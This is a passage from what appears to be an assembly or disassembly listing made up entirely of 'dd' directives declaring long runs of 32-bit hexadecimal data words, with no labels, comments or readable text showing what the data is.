dd 8F26BD7Eh, 697B9017h, 0AF3C545Fh, 500CB752h, 7E10E1A0h
dd 438900FDh, 650D42A7h, 0AE00CC24h, 8C21564Fh, 1CFF63h
dd 7145C7F5h, 445F2877h, 8E066800h, 657B8481h, 33CB075Bh
dd 60C27870h, 22AAD0A2h
dd 25A0EE00h, 6EB297BCh, 3FCE00ADh, 925E31A5h, 0C700CC59h
dd 15EFD57Ch, 1E650CDAh, 80410F99h, 8B5490A9h, 2700C47Ah
dd 3F064835h, 2E17CF15h, 1D68E09Ah, 0ECF041BDh, 0BB7C4F99h
dd 0FF5D8A92h, 60289C96h, 132F4900h, 0A8893FDBh, 314B0941h
dd 0A84073BAh, 770062CCh, 82E67B13h, 2450F03Dh, 64F517h
dd 0A1FD9D96h, 98284A38h, 0B009CFCFh, 40F753C1h, 6ED394h
dd 124C6C48h, 0DE913521h, 711BDB00h, 0EA0496C3h, 244700F4h
dd 4C13A0A4h, 0D900C70Eh, 0A3FDEDF0h, 4819739h, 4F0C6A88h
dd 0C2988813h, 763DD826h, 9AA7C100h, 1DE85B05h, 0C921435Eh
dd 0DD0022A4h, 34F6153Ah, 238C5902h, 0E0BBF42Ah, 0DBD664h
dd 17A84A35h, 870A1410h, 90ABC700h, 0C649509Eh, 7726007Dh
dd 6FD651Fh, 960080E7h, 0CDCEF872h, 0F0E509h, 6AE34526h
dd 95370662h, 4B1AAF05h, 9C24B698h, 0B739F421h, 3ACCEE70h
dd 0B806D5Bh, 28CE103Fh, 0AB1C5E6Eh, 4C402981h, 0F7DC39BDh
dd 8B7D3F8Dh, 1B003EC8h, 0D7FCF846h, 94F60773h, 9DC5ED00h
dd 0F9C69E16h, 0AC2D004Fh, 0B2F8F2F5h, 0B700508Fh, 0D9170CA6h
dd 0FBDB53ABh, 90472BCCh, 0B8890004h, 33CC2C2Dh, 0FF77AA0Bh
dd 58BB3Ch, 0A440012Eh, 0FDEFED7h, 1636B787h, 0D71CEAE7h
dd 3DBE90BCh, 9A71F676h, 0C62F8800h, 0EF37E8AAh, 6C191D74h
dd 0C779DE5Ch, 0F039ABB7h, 0EEFF03FDh, 4400B0B8h, 1A6650BAh
dd 7BE12FD3h, 651217A2h, 5EB9078Ah, 3DF82084h, 960C6915h
dd 0B06FAE54h, 0D990056h, 63C04B7Eh, 17553E0Eh, 0FCFBF19Ch
dd 7C0A5248h, 0A094BE0Bh, 0EE291404h, 0A5D074C7h, 486F2E3Eh
dd 6D3B3C16h, 2B8D9E04h, 1A5C8185h, 0CA4F939h, 0FF1D001Fh
dd 5CF4AC45h, 0AE00F866h, 0B17C0497h, 7382F9C7h, 0ECC35CD5h
dd 0EE2AA801h, 70B8D6BEh, 0BA009273h, 1914875Ah, 35E51526h
dd 123659F8h, 6D00BE67h, 0D74634BEh, 285B039Dh, 1ACA9915h
dd 0A56BD09Fh, 577C7462h, 0CE373F01h, 0E0F5B3F0h, 7111C3F8h
dd 1464004Ah, 437A8CC0h, 0B4012C39h, 833067DBh, 0F0EFACABh
dd 31A7E1h, 0F9342FA5h, 7242EB65h, 0A8C70401h, 1F319CAh
dd 38EA5820h, 0A2806DAFh, 43135342h, 3E3F4CE5h, 69E98048h
dd 5CC8E49Bh, 0F1E8009Eh, 786A6487h, 86E2B13Bh, 0EE730B00h
dd 0F143628h, 0FF771151h, 638A042Ch, 40A0EB40h, 0C31A03ADh
dd 0E8A8541Ch, 6DFE43C0h, 85572724h, 5687461Dh, 0CED02261h
dd 5E6B894h, 5A39D4EAh, 23891A6h, 59D0507Eh, 293C8AFAh
dd 0B1BE0086h, 0F509FBEAh, 9CC0008Dh, 0F7DAF818h, 7500DC8Eh
dd 12695B3Ch, 0A0B04Ch, 85C7C130h, 0ECBB5957h, 8674201Eh
dd 0CD763B00h, 0AA34F4h, 4FDF22BCh, 0CE0490A4h, 0DA26701Ch
dd 83D40Bh, 0CC218E8Dh, 0FCF9027Dh, 0AA9F6ED8h, 0ED7447E0h
dd 8919171Ch, 8EADBF40h, 26C2AC85h, 458E2FEh, 0B2149FE1h
dd 0F7A383D4h, 0C84D809Ch, 0F33E0018h, 0DFAF3B48h, 2C073F22h
dd 1569E0E2h, 29ADDAA0h, 0BE852632h, 775200DBh, 0A39ABC76h
dd 891404B6h, 50E380B8h, 7431F154h, 0A0E800CEh, 0D70E16E0h
dd 7D900229h, 23611303h, 0D04F221Ch, 4B5452h, 3BD22186h
dd 0F8B9A40Fh, 1D78A50Fh, 9F3160DEh, 98CFC8CCh, 0CF725CB8h
dd 39099200h, 0C3A3341Ch, 22494C25h, 0E07EA4B4h, 6CCFA48h
dd 71E5369Fh, 5C3F1032h, 0CD40175h, 46A6C2CFh, 13CA5C0h
dd 3BAC839Fh, 0D44CBB17h, 540FA00Dh, 6F2CD27Eh, 4B3F60E1h
dd 0BAE8EDh, 4C16818Ah, 0F9BEC2ABh, 0E2759800h, 84994495h
dd 0B88B50CBh, 594EE6h, 9AC009BCh, 0AE7B1389h, 441948h
dd 9127FF7Ch, 0E8CC0E6Dh, 74460FD4h, 59402E7Ah, 0F04854C1h
dd 75BF6400h, 98B97A6h, 0A1B2001Bh, 4CD5E80Bh, 70005B36h
dd 0CC23F94Eh, 1ED24A9Eh, 408AFC37h, 0F545DCA1h, 2A012069h
dd 498F1D98h, 0E9E86FEAh, 61290007h, 0A45BEB9Ah, 4D007023h
dd 8C2E880Ch, 4FF8B2E4h, 0B7BC000Eh, 1AEAE541h, 0D31C3Fh
dd 0AE68586Ah, 179C5915h, 7E6C4Fh, 0CFA38E5Bh, 6706B720h
dd 982E6E9Ah, 9BF2024Eh, 6454DF3Fh, 59CE54E0h, 216FF700h
dd 841B62AAh, 9D8F440Ah, 15025BF4h, 3566E66h, 63817790h
dd 0FEB14177h, 0CEA5E0D7h, 0C1DD4CDCh, 0F1467200h, 92C11504h
dd 70F6EE00h, 0FBA2E21Ah, 88D24CCFh, 0B77B5B08h, 918E2B81h
dd 8B200354h, 38871274h, 890FBE5Bh, 0AB6B80h, 602B5F40h
dd 4290337h, 42D8537Fh, 2FE880ADh, 9B00A976h, 0E069EDB9h
dd 24B2FCh, 0A05C112Eh, 42CCE562h, 89E40200h, 93B9CE7Ah
dd 7E0F0218h, 234778F8h, 24809889h, 0C869061Ah, 0DF53CD00h
dd 15DC3127h, 9162000Fh, 0FD163C51h, 0A809399Eh, 0AB14E3h
dd 1A7A6DA9h, 4BE900BCh, 0B99386B0h, 0F4002CC1h, 72534573h
dd 13164668h, 304DBAC4h, 0E623FB54h, 7D79EE0Bh, 0BC8880B0h
dd 2A3B42h, 2570C0FEh, 590544B1h, 0E8171507h, 0FA0E4ADh
dd 3B9C2D74h, 0FA131FF9h, 0FD38C097h, 1007262h, 0E836275Ah
dd 5A3CDEEh, 0E7AAB46Fh, 48B40190h, 208352B2h, 5600599Ch
dd 386E13CDh, 790CB0h, 2861A171h, 51CE98C1h, 0FA4B210Bh
dd 0A4BB80B4h, 8C4EDh, 0F7A2C8B9h, 3EDDC71Eh, 0F1214B00h
dd 95538A6Ah, 0DEFD0072h, 75D70CE0h, 0F50B3AE7h, 38D7A87h
dd 0BD396E93h, 36148A0h, 0DF7DC379h, 6AB07734h, 5E018368h
dd 6CE6514Dh, 0E7D8F331h, 2C7DCBh, 0A8AA5818h, 0FAB93BCDh
dd 8941DE0Fh, 88A540A6h, 0A98009h, 4BC21A29h, 0DF2499B9h
dd 0A111E000h, 9B75D554h, 2070C3h, 6CB28CCDh, 400DC781h
dd 0D4A37200h, 89704450h, 4D27EEE6h, 0A40098DEh, 1A86F842h
dd 789DB0D8h, 9BDA0702h, 0A0CBBF99h, 21C6A785h, 5000605Ah
dd 22F098B2h, 0B5FF0019h, 0F312CFD5h, 6EF22BF5h, 0B3203B04h
dd 5FC36050h, 5E2AF002h, 1F4003Eh, 5A8CAD27h, 400006D1h
dd 0DE1197C2h, 1C8F43BDh, 47221D6Bh, 0C00EF339h, 50B734F8h
dd 5E120F03h, 0A8386FC6h, 3B1FBECh, 0A7DFC2BFh, 0A18024AFh
dd 0CD00332Eh, 9364BDD8h, 0CA623Dh, 0DE56C615h, 26480CECh
dd 3104E1Dh, 0B280C25Eh, 3D1BD3AAh, 11B6006Dh, 0F0F4BABFh
dd 3F00DA80h, 0BDF7F908h, 268E59DCh, 0E4FB8AEh, 0D5007157h
dd 19B26AE1h, 66D32517h, 46EDE000h, 989678Dh, 82045AE2h
dd 0C018ECA7h, 8716990h, 294DFD00h, 0B3D1ED9h, 0BA07FAB5h
dd 0C11A00E4h, 0DC052087h, 5E034228h, 21F71149h, 85C2B809h
dd 0BFEC12CFh, 27478E7h, 0EC0E9D24h, 0CE49270Eh, 5ABC0047h
dd 948874h, 0ABAE653Eh, 25555769h, 9CC75E00h, 0EF8CBD0Bh
dd 4E2F0033h, 6E1A1DBCh, 907E23F7h, 3DCE8500h, 66612273h
dd 0D1B10B7Eh, 880006DFh, 7D59D710h, 40070EAh, 7CFAFC9h
dd 2CE061EBh, 1D3935h, 76A50C46h, 0E626C336h, 0E201371Eh
dd 0D50BD9A7h, 941CBD8h, 3C03466Eh, 0C19ED884h, 0FBF295FAh
dd 0CFDF6AD8h, 1792891Fh, 1E501040h, 60C6147h, 0DDC5DB95h
dd 970AB8D1h, 0CCA5F6B8h, 0C3A7FB00h, 30428FDh, 8DADF442h
dd 4B987107h, 4A00BF8Ch, 0C9CF80Ah, 0B08EEB3Ah, 2B360F90h
dd 5AEB4317h, 1B0728C0h, 53689A0Ch, 499838h, 0FA19DC85h
dd 7893A881h, 0B0622302h, 0D0D333CFh, 0F6050EA4h, 776E89C9h
dd 9000E0ABh, 42523E58h, 0F58DDCA8h, 0C8008575h, 4986516Dh
dd 0F4A288E3h, 94D70A4Dh, 2CEBD21Ah, 0D180002Ch, 0DA32585Eh
dd 4BF03Eh, 0F732EBFh
dd 0F21F46D5h, 729D138Ah, 0D0ED026Ah, 34C0D66Ch, 7D030DA3h
dd 0B88B21A7h, 0AF578083h, 26E0009Bh, 2544E262h, 0BE003A30h
dd 0F83320FEh, 942C5Ah, 1CD8A00Fh, 29107ABh, 6C41CE00h
dd 55C18FBEh, 4BF2D7h, 0C72B5240h, 0DB2FE229h, 59BB4301h
dd 879F2E96h, 3837F30h, 6D90247Dh, 70D1ECD5h, 0F648210Ah
dd 1EB42940h, 0C430E007h, 45001252h, 3C164Fh, 42B8482h
dd 4D9F1A68h, 61B93301h, 0E6F46FB2h, 2CD822EDh, 65B017Bh
dd 9EA0FA84h, 40B4CC98h, 59ABEC0Ch, 101E9853h, 80D4D8CEh
dd 7F87C2D3h, 60829593h, 6C5A4BE6h, 8F615300h, 0EE0A4804h
dd 3650001Eh, 60BDCBD4h, 0A8003FF7h, 0B8E2136Eh, 5F2467h
dd 84D96307h, 4D5CEB2Fh, 40DAB90Fh, 0FF3013Ah, 9AC46CEEh
dd 61D00043h, 0A0348F4Eh, 0F50EFB36h, 80BC4D29h, 0E7EC3DFEh
dd 1AF3F82h, 7F8DA600h, 0E9C9C3CBh, 428F5602h, 71CCFA78h
dd 0A2FE00D0h, 30F501A9h, 0A0CA282Dh, 0F1F891C8h, 4CE84C6Bh
dd 3DD21004h, 0C8ACFFh, 2E45FB46h, 1C0B9D28h, 0C9BF0FD4h
dd 60604D13h, 0D30439C9h, 776E7B50h, 79D65AC1h, 0E18EE4h
dd 617ADCC7h, 6006FFE3h, 8B480B04h, 4CC01101h, 2123668Eh
dd 390231CBh, 63B7705Fh, 0B213F9F0h, 440B6027h, 8CE4D7C5h
dd 19726F01h, 90E3F1C4h, 3E019E30h, 0D2048965h, 0E022DAECh
dd 95C99C8h, 0A8C0DFFCh, 0C67DAA6Ah, 9BBE3D5Ah, 1EE1A600h
dd 0E937A25Ch, 76F6F801h, 79E1254h, 7B326860h, 0C9FC3E10h
dd 8078089Eh, 4C0E535Ah, 862CC15Dh, 1C0030F0h, 70DAA78Bh
dd 33739Ch, 604D1773h, 0DDD2DC9Ah, 13DEE800h, 0E1B494F6h
dd 8E541E8Ch, 59A00A3h, 0A8D7AFF5h, 0D6C60600h, 53279B17h
dd 9E780390h, 7D7CEFA5h, 0DA150580h, 49E78000h, 0B7519F31h
dd 0B3E0506Dh, 0E10D07A1h, 8FB3B8EEh, 3B160820h, 0D3260E22h
dd 511670D8h, 49EA7C00h, 71C2E7EBh, 0C0740FC3h, 0B640DCECh
dd 5F7DADDEh, 0A0A53801h, 19137735h, 0F76AE8h, 41DA7052h
dd 0E116B511h, 7F95E301h, 0CE6C43A5h, 0BA7C30h, 0A2DDFD8Fh
dd 8C085C5Dh, 0DFFBE700h, 848775E2h, 0D9F33847h, 7078ED00h
dd 0A5581E60h, 0E7B5F600h, 0EEC6C3Eh, 244EB807h, 960308Fh
dd 7C8A09AEh, 40CF1791h, 0D1FCDBCCh, 6014388Dh, 0EAF96C3h
dd 223C0450h, 4032E108h, 4E1EA4h, 39AB4251h, 64860CE4h
dd 629B5200h, 19F2C0ECh, 0AACB00E9h, 91E1599Ch, 101D6EEh
dd 0B25E698Bh, 82C86339h, 0D958034Eh, 79EC84D8h, 8C1D68F8h
dd 0B303A0E6h, 0E49F4DC5h, 39CAF83Ch, 249848DFh, 7B2A4301h
dd 70FB7509h, 68583D9Fh, 0B8708094h, 763BC799h, 0FCDF5093h
dd 905C7D63h, 0E30B0052h, 18B506FEh, 0C1009EFDh, 43B32248h
dd 742B55h, 22EAC58h, 0CD6ABCEFh, 5424A64Ah, 78F2C0BEh
dd 130F8884h, 205F95BEh, 98F038BCh, 8A0900C3h, 0CDACB48Dh
dd 2C00CECCh, 536251C7h, 23D17Bh, 0B87FD0DFh, 55117626h
dd 0F5B38618h, 4A4A0CC0h, 9E84DCE1h, 81FC8900h, 2F08918Ah
dd 3BFEE4C3h, 0BF81ABCEh, 0EE154460h, 0D04131CBh, 4009E782h
dd 573A6Ah, 0C4258AA8h, 84DE3E83h, 753DAC49h, 0CBA29Ch
dd 0EF78586Dh, 1D03711Ch, 0D9E75D9Eh, 2C73D875h, 6C9C00D6h
dd 964882CDh, 189A59C9h, 527EBE12h, 388FC09h, 0C843B232h
dd 0EAFE40h, 0EFAA5B8Dh, 46E4075Ch, 0C39A2300h, 0B22DF635h
dd 1F0E007Ch, 7AFB1458h, 0E3001B71h, 2EE85477h, 0DC0378h
dd 2D57132Ch, 0FD884C5Ah, 74710601h, 0F624FBDFh, 0D9FFCh
dd 634EB199h, 80BA45BDh, 8E415A3Dh, 1F9C715h, 0CC2EFA21h
dd 3469420h, 0CF892AC9h, 0A3E0ECEBh, 8500CB06h, 0D72F247Bh
dd 1D9826h, 9939D811h, 5A842A3Fh, 0F9803300h, 12A90178h
dd 755039Fh, 8A6B79A5h, 0B5FEED8h, 12100848h, 64E25B36h
dd 29CA99A0h, 0D6B09B01h, 6F6532CFh, 0E72EF0h, 125A6620h
dd 83AC8737h, 0B8BFFD30h, 4D593C9h, 9843B688h, 6F4EC0E2h
dd 0F73BCCE6h, 0C2AD802Bh, 285DACD5h, 0CDA80785h, 0B9DFB246h
dd 0AF7C98A0h, 271E2D66h, 80BDA642h, 0F1854A6Ah, 3082BF5h
dd 24AD29A0h, 0E0C034A4h, 0F600EF98h, 35052E74h, 799066E5h
dd 1A5FE33h, 0CB1F715Ah, 702D7DCDh, 9F0A6D20h, 0C4FCE3AAh
dd 1802666h, 6BFA488h, 0E879421Ch, 0E600E1EDh, 0B8EBD256h
dd 0E89045B1h, 349A0E6Dh, 0FAE0BF58h, 0FC6949E2h, 0DCD09F00h
dd 0F9C1611Bh, 3BE61E65h, 1002ED7h, 79F16BB2h, 0B9040E8h
dd 5200C709h, 0F217E3A6h, 4559E3Eh, 588568B9h, 2584ACABh
dd 8D1C484Fh, 70393D87h, 8F1E4000h, 8A82C0B2h, 940B5807h
dd 5B00F080h, 0E0C388h, 25B996D8h, 53FA3485h, 560EB600h
dd 0ADFE7F8Ah, 0E644C029h, 0FAC2D76Bh, 76303C00h, 2C069C8Eh
dd 10778F4h, 0D9B3804Ah, 6CC434A1h, 144BB01Ch, 82C10070h
dd 5ABC01D5h, 4095AA04h, 3A3B18B6h, 0EF8BEAEBh, 99011321h
dd 414072B9h, 3050C5C4h, 1F1D26D2h, 0A380CCBCh, 4D321C57h
dd 4DA2417h, 2FD00CEh, 6480EFB7h, 3D073B00h, 182B87B0h
dd 0E3E00E4h, 302DC75Ch, 8D00FC25h, 40F24124h, 78ADC8Bh
dd 0D5A5A229h, 1FE50081h, 0F77C5BBAh, 0FF2C600h, 764D2C96h
dd 56E683h, 2A021A77h, 728757DBh, 3306400h, 41E886C6h
dd 5ABE038Dh, 730D77A2h, 651BF3C8h, 3AC3D503h, 0A0305162h
dd 0FCA870h, 684CDC41h, 31DE508Ah, 0D64D2D00h, 173C4802h
dd 0F5EA1772h, 0BB05FA1Bh, 8CD033A0h, 0E0405Bh, 0B1DCD1E7h
dd 8E2F6343h, 6558B400h, 0AF26C3B3h, 22794C37h, 7C02BB00h
dd 2B275761h, 0BB08C63Fh, 37E8A4A2h, 0C4B25400h, 0FDA8CB9Eh
dd 38F069C0h, 8F014A1Ch, 0B25B11B1h, 438180F6h, 71E43CA2h
dd 0F1F300F7h, 735E681Dh, 70F8941Bh, 106CA400h, 0C9547F0Ah
dd 187E76h, 0A8B5AF8Eh, 8C954F30h, 33BE251Ch, 13B89C0h
dd 3EA1C5Bh, 65B9B280h, 5CB01ACBh, 60B07BC1h, 75617304h
dd 0F4C0D1D2h, 1F0D898Dh, 1F8B9B6h, 0FE48C8E0h, 0A07ED0A8h
dd 0D2EE6E00h, 0ABFB5C43h, 28270B42h, 0A46AD711h, 741A080h
dd 1F1D0AADh, 4F40EC14h, 0D2B877FBh, 0E2220126h, 616A8F8Eh
dd 0FEC8C0F6h, 11479B1Fh, 77501340h, 0F9BA88h, 1A1BA4ECh
dd 0CC193ACh, 6A363200h, 1D15A869h, 284B00CDh, 0C48B8035h
dd 92007D66h, 78224167h, 0FE3BF123h, 20E2003Ah, 0CEA8E6EBh
dd 0DE4F681Bh, 121248C5h, 0E41218F6h, 0D888B49Eh, 0AC6C4B3Ah
dd 0AC012031h, 1389BCCEh, 3DAC0DCh, 4416B7FCh, 1990EADDh
dd 5F7F5866h, 4B6F5400h, 0A4266CD0h, 53A00315h, 0ED02999Fh
dd 8ECFE0CFh, 5EB84744h, 48F6B03Ch, 1015324Bh, 4DBA01E0h
dd 85000714h, 6024C8h, 0BC815A43h, 0CD41D6F6h, 31C32600h
dd 2E48E11h, 1100173h, 644274A0h, 9D388187h, 4594535Ah
dd 0C005C7Ch, 6F18F1E8h, 5400FCB9h, 96FDD1C3h, 1823AA9h
dd 0D64224ABh, 7413E975h, 0F900BDFCh, 2CB74071h, 38D3CCh
dd 5BB1F0D8h, 4680724Bh, 60043Bh, 0CD1C4D25h, 3F7DFE98h
dd 3300695Ah, 932DD66h, 3A0E3F73h, 608D2FDEh, 80585C04h
dd 1D2814B6h, 6538841Ch, 6FCF2900h, 0F2AEF594h, 4C03E100h
dd 34A0C541h, 0FA8F077Bh, 61123FBAh, 0C7EF58F6h, 0F4C045C1h
dd 0B84FB3D4h, 2BF0C087h, 1D1AE9h, 60430F4Ch, 4B5257Eh
dd 0D1CBEC00h, 3EC34A3Ah, 3C6E80Ah, 0C73F694Bh, 0F001A606h
dd 8B58E433h, 5030279Dh
dd 0A0EA77D3h, 3894BDB4h, 0A80DB92h, 88D2142Ah, 2C006C37h
dd 8B73E75Fh, 3AA3E120h, 6800CFB5h, 305D81Ah, 0E87E3F6Dh
dd 0EF005590h, 0C3F2CE55h, 5290DA3h, 0E901BAC2h, 0BFBC4056h
dd 0F2EA1965h, 730B72E4h, 5017B34Ch, 0D3CA00A8h, 7C6D9947h
dd 680F59ADh, 0E0DBEBFh, 0AFD2C022h, 68109C9h, 0B4AAEA1Ah
dd 8FEA4074h, 4D02EB07h, 0D440DC2Ch, 0E0DD0C2h, 0A3CBD6BDh
dd 1063B1C7h, 0C75D712h, 0B943780Fh, 0BD5BE0A1h, 3014C080h
dd 22A185CCh, 0AD00127Dh, 0DFA335C7h, 0F76402h, 0D7E13497h
dd 1D721C03h, 9DEE7300h, 3F819638h, 0A2750FBAh, 0CFC0A5EDh
dd 0EAA01677h, 4C38D4A0h, 970028F8h, 7AE62CE8h, 2E17D3h
dd 0EFC1FF6Fh, 4882F5BBh, 19B92426h, 0B536073Eh, 0DE5029C8h
dd 0FA0845D5h, 0CB5D1BC7h, 0EBB810DBh, 36007588h, 3824E816h
dd 20D4B8h, 0B644E950h, 63AAC5FFh, 5AA9DB00h, 0BC807D5Eh
dd 18D4007Eh, 1F520E04h, 693A67D5h, 816B9858h, 0E72508h
dd 874ED7CBh, 3CBB70CCh, 900258DDh, 60A5BEABh, 0A40732h
dd 0F3959465h, 0A604D8C6h, 3DD26900h, 39A01EB7h, 7967706Dh
dd 0DE650186h, 9DB820D3h, 2950868Dh, 77B025E8h, 77B70F87h
dd 4BA069B0h, 7460D855h, 49FFA700h, 0F8360B72h, 8A7FB6h
dd 0ED93E8F3h, 586C6EBFh, 4B92F100h, 0AE658663h, 69BA003Dh
dd 91D279D8h, 6C1847CCh, 137087EDh, 0CA7E008Ch, 4E4C31ABh
dd 8360A0E3h, 0E4358AD8h, 0F2190063h, 0BB89BAEDh, 0CE0F2861h
dd 381DA20h, 0FB7D7Eh, 5A906BC2h, 778FC974h, 381339h, 0E04F92DFh
dd 47BACD0h, 0FDCBDEBDh, 6C61C251h, 67FFB080h, 0D4A08E63h
dd 13009511h, 0B983CE4Fh, 0EF776AA3h, 7030FFF1h, 0C09B0094h
dd 0E58DFB67h, 0D0903213h, 6D000E90h, 0DAE84375h, 7D79D5h
dd 0A23930D7h, 4FBA5AE7h, 2CB86805h, 0B043F79Ah, 0ADA9C8B7h
dd 0EBDF8801h, 0D3F088E8h, 0FE2C0310h, 326CEDBDh, 55F8F14Ah
dd 361D4300h, 0D34F681Fh, 411288F8h, 4C0EC04Ch, 0F0946D4Dh
dd 0CF815888h, 8F664F84h, 0A27B4442h, 2C209508h, 6E12FB10h
dd 0F85AE414h, 0AC41187Ch, 88835977h, 829958A0h, 0DF147490h
dd 82C61B3h, 11BEB164h, 8A42880Ah, 85848C0h, 0A794C20Ch
dd 0E705C584h, 97DF9C05h, 8AEC2C42h, 0EEF6024Dh, 75AAF913h
dd 4025FC01h, 59D85858h, 7B6352B0h, 0E7151359h, 0C0E796h
dd 162BCC92h, 21089F4Fh, 0E87EC10Eh, 67BEE0F7h, 21D52DEh
dd 0C53A09DAh, 94800EEDh, 0D6E7E17Ch, 68757430h, 6CC768Ah
dd 0CA18FA8h, 1F02C8C3h, 0D22013F1h, 0AEBD40BAh, 6CD13B8Bh
dd 4F462C0Fh, 9084C780h, 0A0C0DE73h, 5CACA311h, 334212BDh
dd 0CC500E1Dh, 0EC804FE7h, 8809FD98h, 20B29534h, 379258ECh
dd 2A07E5Bh, 4B98E664h, 0D444E0D9h, 0EC0AB12Ch, 81B08201h
dd 60DE3F60h, 1FBF2C4Ch, 0C1A488A0h, 29BEC6BBh, 3BD05095h
dd 0F42C9099h, 0E7005569h, 0B21416BBh, 0BE30249Ch, 47DC03B0h
dd 358057CBh, 383191ECh, 34DF0872h, 62FBA840h, 0FAA372CCh
dd 3C652669h, 64A8094Eh, 4C8DE810h, 747ADA00h, 9C1245Ch
dd 2D98C4EAh, 0D2948873h, 8F144500h, 0A197D35Dh, 0B423503Fh
dd 0EF3500DBh, 5B0AFCDCh, 2709A489h, 20F88CCBh, 0EB88E404h
dd 0B83500CDh, 98799510h, 0D202FE12h, 5D4A3FF2h, 0B84480A2h
dd 12BED0F4h, 30BA5608h, 0B57E3F20h, 0D4DCEE26h, 64E9904h
dd 88805880h, 1C0AC35h, 9D3437C7h, 8E7C619h, 0AA6A886Fh
dd 16D18E00h, 0A6BDA4FDh, 0D3E607CCh, 99AE68B5h, 93792C00h
dd 3E3F65CDh, 989F00B4h, 7E1367B2h, 7A0B0054h, 0DEBECB7Fh
dd 920063F8h, 0E0FA0EC5h, 264C0DF9h, 1B980Bh, 9E5E50EEh
dd 4A07FCADh, 0BBD8FD7Ah, 701A8330h, 29FB00D7h, 0E99C353Bh
dd 4107538Ch, 0A2361D5h, 0BE3F3DA1h, 0F226BE80h, 6DA03E4Ah
dd 0FD1E2700h, 719AD29Fh, 0F2E1E8C4h, 5A190161h, 46732FFBh
dd 62A9E43Eh, 832A7C3Eh, 9A905726h, 6FD8B8D0h, 0C8FC18h
dd 0ADE9E021h, 0F978C95Ch, 156860E9h, 245ED51Eh, 0AAA3C000h
dd 31F2BD55h, 60482EC7h, 45D3E046h, 0A32FC900h, 0DDE1717Ch
dd 411A3C16h, 867F8280h, 0B0A95395h, 99046600h, 0E0979DF4h
dd 48D11FDCh, 227E0018h, 0BADA37E8h, 0DE64D030h, 0A29E4h
dd 61C6271Eh, 0E022FAEEh, 0B44F7000h, 88C5F52Fh, 68CB3F85h
dd 0F0BCA88Fh, 445C0140h, 200059C4h, 0DD32396Bh, 869627h
dd 7567158Dh, 9A455188h, 0F390A360h, 9D597Bh, 0DC086C49h
dd 0D872AC5h, 589F4D75h, 486DBh, 9015970h, 0C098FD4Dh
dd 739A3700h, 5FB0B6E4h, 3AB27777h, 0D1973468h, 0AE48002Ah
dd 95605A6Fh, 0F10150FAh, 47535FB2h, 73703F74h, 0CC7E8Ch
dd 0D6AC281Eh, 0EE4240F7h, 87314E00h, 8CDC4546h, 0EF7957h
dd 40B51E6Dh, 8803765Eh, 0AFF539h, 9B2D4CFDh, 3899C7h
dd 610FDBEBh, 45BE0B1Bh, 5D0D5100h, 0A9316D3Dh, 0D6F100D2h
dd 1EDCDBDEh, 797D26E5h, 0A7014700h, 0C9DD0253h, 5C863A04h
dd 417D4280h, 0C49EA43Fh, 0DD5FB52Ch, 380AB00h, 998E51Fh
dd 0EF11B0D7h, 2B07DA5Eh, 0A00ED493h, 0AA77AD70h, 8BA8004Dh
dd 9FCE3C25h, 860E150Dh, 0A04A264Ch, 0AD46FC32h, 9C4000BAh
dd 0B5A3389Eh, 0EC12CFA8h, 0BE0E56C3h, 4345E3BEh, 0AD54E881h
dd 0CC0F50B2h, 0A7F7009Bh, 848C3229h, 5F001130h, 50E4C2E9h
dd 1F456E34h, 4042583Dh, 7D816CCAh, 70EC5160h, 252C7700h
dd 440F968Fh, 46361E95h, 0AFFD878Bh, 373E7121h, 7933ECD3h
dd 2FF8751Fh, 4617A300h, 7CDF37Bh, 0EA9A53DCh, 1B4B60B2h
dd 0FD283754h, 0C200C3C5h, 0FEFA024Ch, 15CBA5h, 0FC051BC9h
dd 65B59DD7h, 0AC6C5000h, 0E3638E26h, 0DDB000E4h, 1B9E6DFAh
dd 28006417h, 0B131C268h, 0FC5E548h, 0D437948Fh, 9EF4039Ch
dd 299082D3h, 0B8005380h, 0E866405Eh, 5F69DBh, 0B7B0720Fh
dd 0DF7C759Ch, 0D094851Dh, 96866600h, 5C2E1Dh, 0E7EBBC7Bh
dd 2354070Dh, 3894E300h, 5B0B379Eh, 0C60100AFh, 0A55389D1h
dd 4700EBE1h, 37B61869h, 1EA7F4A8h, 0C04E123Bh, 23449F0Bh
dd 70067BBh, 0D01895Ah, 325F36h, 29587370h, 0AAFEB348h
dd 8828DD03h, 48A0238Dh, 0CB005110h, 6B72C707h, 2A0361CAh
dd 3EB8246h, 85A0B82Ch, 5EA324D5h, 7F730052h, 5217989Ch
dd 0E084200h, 1193F02Eh, 995F00FBh, 667D1CD2h, 0D503D788h
dd 0D34401C6h, 0CC03C062h, 772A0E94h, 41419EC1h, 0C060F124h
dd 0F21855DFh, 5790827Fh, 49100363h, 52A8840h, 0DD916097h
dd 0D3E52D3h, 0EA65C4Eh, 0A0E5C42Eh, 0D56ABFECh, 0B0DE00C0h
dd 622024CAh, 0E6009291h, 8618875Ch, 0FB950B3h, 0DE97B616h
dd 0CF2081DDh, 0FC531172h, 0CC005645h, 8163F73Eh, 0EF1CDF8h
dd 9D961B18h, 0DC9F3700h, 0F2694C1h, 93003827h, 8B0BF9F5h
dd 86D70042h, 6C5E34DEh, 0E8009076h, 5B607B9Eh, 202DD6h
dd 6FEC679Ah, 0E5407A77h, 0E3E68500h, 1D84260Fh, 0FCBA0039h
dd 128998B6h, 23002706h, 78141AFEh, 1E7291E8h, 80C4FCF3h
dd 0BB6BA68Eh, 2300F15Dh, 0DBE11CF5h, 798707ECh, 1F021359h
dd 1B8800C2h, 0C043245h, 0F336181Eh, 0F4294600h, 0CE9BDEAh
dd 0D0EB908Eh, 673E3588h, 668183F8h, 0E0ED9C99h, 3AF0AFh
dd 5322178Ah, 0C544D398h, 0F132CA05h, 80034F61h, 80108CE1h
dd 0BEB66Ch, 0C812F563h, 4D96F979h, 815EE601h, 0A7AF3268h
dd 3A277BE8h
dd 0A50073BAh, 6A4F5BDBh, 0C41F6CE4h, 51803AC2h, 3C5FE1C7h
dd 0DC431DDEh, 6B8500DFh, 17242C9Ah, 46DD7B01h, 0C154C3F0h
dd 0A345D0h, 0F5EC0777h, 0ED3CF96Dh, 1FEA0100h, 61063AE8h
dd 829A00FFh, 43049FE0h, 280E904Dh, 0E1E24FDDh, 6E5DAAF3h
dd 0B8BF21CCh, 0CBBB057Eh, 80EB7D2Fh, 0ED4E0F38h, 6A316100h
dd 0C65578CAh, 0F9BEE9Ah, 2A7684AAh, 0ABD4F061h, 0E0E1CD30h
dd 4F00D3B4h, 16E57CA4h, 7BFE7445h, 0FFE00070h, 7936B644h
dd 4D060EBFh, 0AA2D7C9h, 8958A804h, 3267DFBh, 27B451C2h
dd 69D04FBEh, 9758F4E4h, 0E82A0761h, 9190D20Ch, 16A21493h
